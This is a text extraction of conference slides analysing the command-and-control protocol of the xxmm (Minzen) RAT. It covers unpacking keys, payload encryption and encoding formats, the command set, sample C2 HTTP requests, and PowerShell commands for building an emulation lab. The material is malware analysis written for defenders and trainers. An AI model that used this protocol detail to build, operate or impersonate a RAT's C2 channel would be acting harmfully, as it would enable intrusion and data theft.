Understanding
Command andControl- An Anatomy of xxmm Communication -You Nakatsuru
Counter Threat Unit

18/01/19
Japan Security Analyst Conference 20190

Goals of This Presentation
For analyst / researcher / developer• Provide information about modern C2 implementation including:• Encryption, compression, proprietary data structures• Provide a training material for C2 analysis• You can compare answers with your analysis result

For incident responder• Tell you the importance of proxy log analysis and server investigation by public sector such asNPA, JPCERT/CCFor red teamer• Provide knowledge of modern C2 implementation can be used to improve your penetration
testing1

Agenda• Analysis Target: xxmm
• xxmm Communication Analysis• xxmm Payload Analysis• Proof of Analysis

2Analysis Target: xxmm
3

xxmm (a.k.a. Minzen)
RAT malware used by BRONZE BUTLER• Good sample to understand modern
command and control protocol• Uses HTTP/S with proxy• GET or POST request• Also supports TCP/UDP/ICMP• Uses encryption• RSA + onetime RC4 encryption in its
communication• Uses proprietary data structures• Is capable to do various commands4

Supported Features
Sleep
Drive info
File listing, upload, download, deletion

Directory creation
Process creation
Remote Shell
5

Is BRONZE BUTLER Still Active?
Seems to be inactive since early 2018
• Several Datper variants were observed from Nov, 2017
• e.g. 517b2695bbf7164bfb9cab0a133bb0b1aeb387cbb7f30aa01bf5d6f89cca4214• Changed to use modified RC4 init as the following:6

File Information• xxmm dropper (can be downloaded from VT Enterprise)
SHA-256 hash

4d208c86c8331b7f1f6dd53f83af9ee4ec700a74792b419f663a3ce105d15d1c

File type

PE32 executable (GUI) Intel 80386, for MS Windows

PE timestamp

Thu May 12 02:44:45 2016 UTC

First seen on VT

PE32 executable (GUI) Intel 80386, for MS Windows• xxmm main module (will be loaded by the dropper)
SHA-256 hash

714863d7d951e87c9cbde87882f9038db7ad7c8dacd29b2c12eb9ebca075ecb8

File type

PE32 executable (console) Intel 80386, for MS Windows

PE timestamp

Thu May 12 02:44:51 2016 UTC

Target binary7References / Tools
Useful for analysis• xxmm2_build.exe• https://www.virustotal.com/#/file/76340ef248c286270a07e2aee
c7b1d6a007e77adde08dc6c1dcaa176aef9e1a8/detection• xxmm2_steganography.exe• https://www.virustotal.com/#/file/27f3a4c757f6e81a0546e47b9
7cbaab5e5e2b82a6ec2694641cd41ec47b90766/detection• wincrypto - Python module• https://github.com/crappycrypto/wincrypto• lznt1 - Python module• https://github.com/you0708/lznt1
8Unpacking main modulexxmm installer contains both 32-bit and 64-bit binaries
Dropper

Installer

LoaderMain module(will be dropped into %TEMP%)(will be installed as a service / runkeyentry)(will be injected to legitimate process)32-bitAlso contains a DLL and UAC
bypass module64-bitAll of binaries are contained as
RC4 encrypted + LZNT1
compressed resource(RC4 key: "1234")9Decrypting All Encrypted Resources
Python scripting is an easy way to decrypt
32-bit main module[+] could not find rc4key, use default key: 1234[+] saved unpacked xxmm as xxmm_dropper_unpacked_0.bin[+] saved unpacked xxmm as xxmm_dropper_unpacked_1.bin[+] saved unpacked xxmm as xxmm_dropper_unpacked_1_unpacked_0.bin[+] saved unpacked module as xxmm_dropper_unpacked_1_unpacked_1.bin[+] saved unpacked module as xxmm_dropper_unpacked_1_unpacked_2.bin[+] saved unpacked xxmm as xxmm_dropper_unpacked_1_unpacked_3.bin[+] saved unpacked xxmm as xxmm_dropper_unpacked_1_unpacked_0_unpacked_0.bin[+] saved unpacked xxmm as xxmm_dropper_unpacked_0_unpacked_0.bin[+] saved unpacked module as xxmm_dropper_unpacked_0_unpacked_1.bin[+] saved unpacked module as xxmm_dropper_unpacked_0_unpacked_2.bin[+] saved unpacked xxmm as xxmm_dropper_unpacked_0_unpacked_3.bin[+] saved unpacked xxmm as xxmm_dropper_unpacked_0_unpacked_0_unpacked_0.bin
10Process of xxmm Main Module
1. Load hardcoded config• C2 URL, encryption key, version string, etc.

2. Initialize command list

3. Start C2 thread11

1. Loading Hardcoded Configuration
Process of xxmm main module

Config data is XOR encodedwith a key character "f"12

2. Command List Initialization
Process of xxmm main module

Create link list likecommand data

13

3. Command & Control Thread
Process of xxmm main modulexxmm is capable tohave 7 C2 server entries
in its config

14xxmm Communication Analysis

15

Communication Protocol
xxmm supports various communication types

16

TypeProtocol

Description

0

HTTP

C2 communication

1HTTP

C2 communication

2

HTTPDownload C2 server information

4

TCP

C2 communication using proprietary TCP protocol

5

UDP

C2 communication using proprietary UDP protocol

6

ICMP

C2 communication using ICMP echoxxmm Communication Analysis

Type 2: C2 URL Download

17

GET Request to An Image File
Usual HTTP GET request to hardcoded URL
URL is specified by its config
GET /test/test.jpg HTTP/1.1
Accept: */*Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; SV1)
Host: www.example.com
Cache-Control: no-cache18Encrypted Payload in The Image FileContains C2 command (DownloadExecute/ChangeURL)

Markers arespecified by itsconfig

Start markerxxmm
19

Encrypted payload

End marker
mmxxxxmm Communication Analysis

Type 0,1: HTTP C2 Communication

20

C2 Communication using HTTPxxmm communicates with specified C2 server
Ping
Pong

1. Command request
2. Receive commandxxmm

Ping
Pong

3. Upload result
21

C2 server

Ping/Pong
Checking C2 server• Ping/Pong communication will be performed before every C2communication
GET /index.php?id0=39454275&id1=0&id2=f7547c11&id3=0&id6=2400000 HTTP/1.1
Accept: */*Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; SV1)
Host: www.example.com
Cache-Control: no-cache
HTTP/1.1 200 OK(snip.)Content-Length: 11221, 3. Parameters of HTTP Request
GET /index.php?id0=b78503d0&id1=0&id2=f7547c11&id3=1&id4=AAAACAAA(snip.)gPcv^lQ!!&id6=2400000 HTTP/1.1
Accept: */*Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; SV1)
Host: www.example.com
Cache-Control: no-cache

23

Description

Ping

Command Result

Command Request

Param 0Random hex string

8 digits hex string

8 digits hex string

8 digits hex string

Param 1

Constant value000

Param 2

Client ID

Param 3

Request type

Param 4

Encrypted payload

Param 5

Unknown?

?

?

Param 6

Current interval

2400000

2400000

2400000

8 digits hex Willstringbe POST
8 digits
hexifstring
digits hex stringdata
the size is8large
012Base64 like string2. Receive command
HTTP Communication with given C2 server
HTTP/1.1 200 OK(snip.)Content-Length: 104
AAAACAAAAAAFCcE1DOwHDQ8bBCDZZwfUoyA9ivQW6nHnTwEXmPi8H9MHlLS
96GPjJLg6NV5Sx28u3SEZavkcRgvIxmsbLZIOha6yyw!!

Encrypted payload - same encryption/format
with value of param4 in GET request24

Encrypted Payload in GET Request
If RSA is enabled• LZNT1 compression
LZNT1

RSA + RC4

• Performed using RtlCompressBuffer• Add 1 byte header• RC4 encryption using randomly generated one-time key• RC4 one-time key is encrypted with RSA public key• Base64 encoding with custom table

CustomBase6425• ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstu
vwxyz0123456789+/=↓
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstu
vwxyz0123456789^`!

One-time Key Encryption
Using RSA key pair"s"• Encrypted one-time RC4 encryption key with
server public key• RC4 encrypted + LZNT1 compressed payload

ServerPublic key

ServerPrivate Keyxxmm

C2 server
ClientPrivate Key26• Encrypted one-time RC4 encryption key withclient public key• RC4 encrypted + LZNT1 compressed payload

ClientPublic Key

Decrypting Encrypted Payload
Encrypted/Encoded payload
AAAACAAAAAAFNsGPeUog(snip.)WoPns^c`p`AXiKBAgPcv^lQ!!
Custom Base64 decodeHeaderlength

RSA flag(0x00000001)

RSA encrypted
RC4 key

RC4 encrypted payload

RSA + RC4 decryptCompressflag
27

LZNT1 compressed/plain dataEncrypted Payload in GET Request
If RSA is disabled• LZNT1 compression
LZNT1RC4• Performed using RtlCompressBuffer• Add 1 byte header• RC4 encryption using default key• “1234”• Base64 encoding with custom table
CustomBase6428• ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstu
vwxyz0123456789+/=↓
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstu
vwxyz0123456789^`!

Decrypting Encrypted PayloadEncrypted/Encoded payload
AAAACAAAAAAFNsGPeUog(snip.)WoPns^c`p`AXiKBAgPcv^lQ!!
Custom Base64 decodeHeader
length

RSA flag(0x00000000)

RC4 encrypted payload

RC4 decryptCompress
flag
29

LZNT1 compressed/plain data

xxmm Payload Analysis

30

Data Format of Payload• Need to extract “item” to understand the meaning of commandHeader
length

RSA flag(0x00000001)

RSA encrypted
RC4 keyCompress
flag

Payloadheader31

RC4 encrypted payload

LZNT1 compressed/plain data

Items header

ItemItem

Item

ItemItem Structurexxmm uses item list in their communication and configuration• Item format: LengthIDData• xxmm has various ID - difficult to enum them
• e.g. decoded config

32

Items Structure
Header + Item data
• Items format:Length

Type

Items data

• Type 0/10: data from server, Type 1/11: data from client, Type 2: configuration• e.g. decoded config

33

Analyzing Items/Item Structure

Parse Items structure andcreate info structure to accessitems easily
34

Payload Header
Offset

Size

Value

Description

edc80b190x00

4Timestamp

Return value of GetTickCount

00000000

0x04

4Split countNum of “items” blocks(starts from 0)0172d218

0x08

11byte flag

0: Larger than max size
1: Less than max size

0x0C

Variable

Items

0000007a
00000001

00000018…
35

PayloadCommand and Control
Using item structure
Command request

PayloadheaderItem

Items
header0x10001

Item

API name

0x10002

Item・・・

Time
stamp

Argument 1xxmm

C2 server
PayloadheaderItems
headerItem
0x10001

API name

Item
0x10002

Item
Time
stamp

Copied from command items
360x20004

Statuscode・・・

RAT Command: xxmm API• GetSystemInformation• DownloadExecute• ChangeUrl• ChangeTimeInterval• Uninstall• PlugIn• PowershellEncodedCommand• CreateProcessLow

37

RAT Command: Standard(?) API• stdapi_execute_sleep• stdapi_execute_commandgroup• stdapi_syncshell_kill• stdapi_syncshell_control• stdapi_syncshell_open• stdapi_cmd_kill• stdapi_cmd_control• stdapi_cmd_open• stdapi_fs_search• stdapi_fs_file_upload• stdapi_fs_file_download• stdapi_fs_file_excute• stdapi_fs_GetLogicalDriver38• stdapi_fs_sha1• stdapi_fs_md5• stdapi_fs_file_move• stdapi_fs_file_expand_path• stdapi_fs_stat• stdapi_fs_separator• stdapi_fs_delete_file• stdapi_fs_delete_dir• stdapi_fs_mkdir• stdapi_fs_chdir• stdapi_fs_getwd• stdapi_fs_lsBased on Metasploit API?

Same name with Metasploit
API39

Command Details
Command
GetSystemInformation
DownloadExecute
ChangeUrl
ChangeTimeInterval
Uninstall
PlugInPowershellEncodedCommand

CreateProcessLow

40

Argument 1

Argument 2

Argument 3

Result 1

Result 2

Result 3---0x4001A

----

-

System info--

0x404D50x104D30x204D4---

File data

File path

Show flag---

0x104F60x20529

-

-

-

-

C2 URL

Server No.

----0x204F7

-

---

-

New interval-----0x20535

-

---

-

Run key flag

----

-

0x404D5-

-

-

-

-

file data

-

-

-

-

-

0x104F8

-

-

-

-

-

Encoded PS
command-

-

-

-

-

0x1052D0x2052E

-

-

-

-

Command line

Alt process----

Command Details
Commandstdapi_fs_ls
stdapi_fs_getwd
stdapi_fs_chdir
stdapi_fs_mkdir
stdapi_fs_delete_dir
stdapi_fs_delete_file
stdapi_fs_separator
stdapi_fs_stat41

Argument 1

Argument 2

Argument 3

Result 1

Result 2

Result 30x104B0--0x104B10x104B20x800004C4

Target dir--

File name

Full path

File stat---0x104B0-

-

-

-

-

Current dir--

0x104B0-----

Target dir

-

---

-

0x104B0-----

Target dir

----

-

0x104B0-

-

-

-

-

Target dir-----0x104B2-----

Target file--------

0x1000A-----

Path separator--

0x104B2--0x800004C4--

Target file--

File stat--Command Details
Commandstdapi_fs_file_expand_path
stdapi_fs_md5
stdapi_fs_sha1
stdapi_fs_GetLogicalDriver
stdapi_fs_file_executestdapi_fs_file_download
stdapi_fs_file_upload
stdapi_fs_search

42

Argument 1

Argument 2

Argument 3

Result 1

Result 2

Result 30x104B2--0x104B2--

Target path--

Full path--

0x104B2--0x104B1--

Target path--MD5 digest--

0x104B2--0x104B1--

Target path--

SHA-1 digest

-

-

-

-

-

0x104B20x204D2

-

-

-

-

Drive root

Drive type-0x104D3

0x204D4

-

-

-

-

Command line

Show flag

-

-

-

-

0x104B20x104B2-0x104B20x104B20x404D5

Target pathUnknown-

File pathUnknown

File data

0x104B20x104B20x404D50x104B20x104B2-

Target pathUnknown

File data

File pathUnknown-

0x104D00x104CF

0x804CE0x104B20x104B1

0x204B4

Target path

Target filename

Recursive flag

DirFilename

File size

Command Details
Commandstdapi_cmd_open
stdapi_cmd_control
stdapi_cmd_kill
stdapi_syncshell_open
stdapi_syncshell_control
stdapi_syncshell_kill
stdapi_execute_commandgroup
stdapi_execute_sleep

43

Argument 1

Argument 2

Argument 3

Result 1

Result 2

Result 30x104D3

0x2050A-0x2050A--

Alt shell

Terminate flag

-PID-

-

0x404D6--

0x404D6--

Shell command--

Output--------------

0x104D3-----

Alt shell-----0x404D6--

0x404d7--

Shell command--

Output----------

--

-

-

0x404D8-----

Command group-----

0x204D9-

-

-

-

-

Sleep time

---

-

-

Analyzing Arguments
Check getting item function• e.g. ChangeUrl command

There are several function callto parse arguments
in command function

44

e.g. File Uploading
Request to upload C:¥hoge.txt
Command request

Payloadheader

Item

Item

Item

Item

0x100010x100020x104B20x104B2'stdapi_fs_file_download'

Timestampu'C:¥hoge.txt'''

Items
header

AAAAiAAAAAFg`y7o2T7BvTFDZDWFuR0Uuu7rlk0uUUytKzrp6Mxy`^AfuAHr1a(snip.)RHJp6p8
qQ5LppSwF4HoD4SRS3i8D5zMmHIxo9N1jtk89i992GlvEfWr1t57gl0LTZQXVihmeedUNbI!

xxmm

C2 server
PayloadheaderItems
header

Item

Item

Item

Item

Item

Item

0x100010x100020x20004

0x104B2
﻿0x104B2

0x404D5'stdapi_fs_file_download'

Timestamp

Status codeu'C:¥hoge.txt'''

File data

GET /index.php?id0=d65d4f8a&id1=0&id2=f7547c11&id3=1&id4=AAAAiAAA(snip.)Izxj4ER6A^Dg!!&id6=1000045

e.g. Remote Shell
To execute 'ipconfig'
Command request
Item
Item
Payload Items
header header 0x10001 'stdapi_cmd_open' 0x10002 Timestamp
AAAAiAAAAAEmb`Wsg0WNLPFrSlzQT9Dd7lHE(snip.)sUsgDpsHqMRYh97zmm0lPnMW^utiDGkFFbNIpgva4QHcNx

Item
Item
Item
Payload Items
header header 0x10001 'stdapi_cmd_open' 0x10002 Timestamp 0x20004 Status code
GET /index.php?id0=55243eab&id1=0&id2=f7547c11&id3=1&id4=AAAAiAAAAAGiI(snip.)uBRuYfmCLbo!&id6=10000xxmm

Command request
Item
Item
Item
Payload Items
header header 0x10001 'stdapi_cmd_control' 0x10002 Timestamp 0x404D6 'ipconfig'
AAAAiAAAAAFWzEmlvPSj8KASo0uPFhrzCEM5(snip.)haf6XHV8jpRQcXyU71sI`6Ul2MbbVvBpXGdaQuXZ3BlHl7

Item
Item
Item
Item
Payload Items
header header 0x10001 'stdapi_cmd_control' 0x10002 Timestamp 0x20004 Status code 0x404D6 output
POST /index.php?id0=44be644f&id1=0&id2=f7547c11&id3=1&id6=10000, id4=AAAAiAAAAAF(snip.)HiNsLOaIMa346

C2 server

Proof of Analysis
47

C2 Emulation Environment
Create tiny script for C2 emulation

Create RSA key blobs

Execute xxmm main module in the fake internetenvironment• You have to modify RSA keys in its config
48

Base Provider Key BLOBs
RSA key format can be imported by CryptImportKey API• See https://docs.microsoft.com/en-us/windows/desktop/seccrypto/base-provider-key-blobs• We can create the key pair using PowerShell commandsAdd-Type -AssemblyName System.Security$RSA = New-Object System.Security.Cryptography.RSACryptoServiceProvider
Set-Content "rsa_server_public_key.bin" -Value $RSA.ExportCspBlob($False) -Encoding Byte
Set-Content "rsa_server_private_key.bin" -Value $RSA.ExportCspBlob($True) -Encoding Byte
$RSA2 = New-Object System.Security.Cryptography.RSACryptoServiceProvider
Set-Content "rsa_client_public_key.bin" -Value $RSA2.ExportCspBlob($False) -Encoding Byte
Set-Content "rsa_client_private_key.bin" -Value $RSA2.ExportCspBlob($True) -Encoding Byte49Captured Packet"dir" command execution50

51